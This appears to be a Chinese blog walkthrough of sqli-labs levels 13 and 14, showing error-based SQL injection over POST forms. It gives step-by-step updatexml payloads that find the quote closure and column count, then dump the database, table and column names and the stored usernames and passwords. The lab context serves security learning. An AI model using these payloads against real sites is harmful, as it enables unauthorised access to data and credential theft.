(手工)【sqli-labs13-14】POST注入:报错回显(基本步骤)

目录

推荐:

一、POST(报错)SQL注入基本步骤:

 2.1、第一步:判断是否存在SQL漏洞

2.2、第二步:判断字段数

2.3、第三步:查询当前数据库

2.4、第四步:查表名

2.5、第五步:查字段

2.6、第六步:查数据

二、Less13(POST-Double injection - Single Quotes String-with twist)

2.1、简介:(错误-单引号)

 第一步:注入点测试

第二步:判断字段数

第三步:爆数据库

 第四步:爆表名

 第五步:爆字段

 第六步:爆数据

三、Less14(POST-Double injection - Single Quotes String-with twist)

3.1、简介:(错误-单引号)


推荐:

【SQL注入-可回显】报错注入:简介、相关函数、利用方法https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165718272016782390523827%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165718272016782390523827&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185%5Ev2%5Econtrol&utm_term=%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4450



一、POST(报错)SQL注入基本步骤:

 2.1、第一步:判断是否存在SQL漏洞

在输入框中填入一些闭合的符号,看页面是否异常

如: ’        "          ')          ")

当页面发生错误,则证明闭合有效

有时单双引号闭合后,还要考虑括号个数


2.2、第二步:判断字段数

例如:

”) order by 3#

当回显正确的时候,或无报错,就判断出字段数


2.3、第三步:查询当前数据库

例如:

“) union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#


2.4、第四步:查表名

例如:

”) union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#


2.5、第五步:查字段

例如:

“) and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#


2.6、第六步:查数据

例如:

”) and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#



二、Less13(POST-Double injection - Single Quotes String-with twist)

2.1、简介:(错误-单引号)

请求方法:POST

方法:报错注入

 第一步:注入点测试

加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的

可以考虑使用报错注入

发现还有括号

’)#后没有报错了

 使用联合查询发现没有返回结果

所以这里考虑使用报错注入

第二步:判断字段数

admin') order by 2#

为2的时候没有报错

字段数为2

第三步:爆数据库

admin') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

(这个地方字段数不对也能爆出来数据)

 第四步:爆表名

admin') union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

(这里字段数不对,就不能爆出数据)

 第五步:爆字段

admin') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#

 第六步:爆数据

admin') and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#



三、Less14(POST-Double injection - Single Quotes String-with twist)

3.1、简介:(错误-单引号)

请求方法:POST

方法:报错注入

方法同Less13

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值